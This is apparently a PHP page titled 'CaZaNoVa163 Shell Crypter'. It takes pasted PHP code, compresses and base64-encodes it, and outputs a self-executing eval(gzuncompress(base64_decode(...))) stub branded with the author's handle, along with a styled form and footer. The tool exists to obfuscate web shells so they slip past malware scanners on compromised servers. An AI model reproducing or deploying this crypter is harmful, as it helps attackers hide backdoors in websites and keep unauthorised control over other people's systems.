PHP Decode

?>b'<?php if(isset($_POST[\'t\'])) { $output = \'<?php /* CaZaNoVa163 */ eval("?>".gzuncompress(base64_decode("\'.base64_encode(gzcompress(stripslashes($_POST[\'t\']))).\'"))); ?>\'; } ?>
 <style type="text/css">
 .evalcode{ background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; width: 95%; height: 70%; }
 .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
 .inputzbut:hover{border:1px solid #4C83AF;}
 body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial; color:#fff; } 
 #result{ text-align: center;  border-radius: 10px; border:1px solid #4C83AF; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif  ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
 .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }

 </style>
<title>CaZaNoVa163 Shell Crypter</title>
 <div id="result">
<br /><br />
<div align="center" class="style2">CaZaNoVa163 Shell Crypter</div>
<br /><br />
  </div>
 <div id="result">

 <?
echo " <form action=\"" . $_SERVER[\'PHP_SELF\'] . "\" method=\"post\">
 <textarea id=\"t\" name=\"t\" class=\"evalcode\">$output</textarea>
<p><input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" /></p>
";
?>
</div>
<p class="footer" onclick="javascript:DoS()"><blink> &copy;<?php echo date("Y",time())." CaZaNoVa163"; ?></blink></p>
<script>function DoS() { document.location.replace("mailto:[email protected]");} </script>
'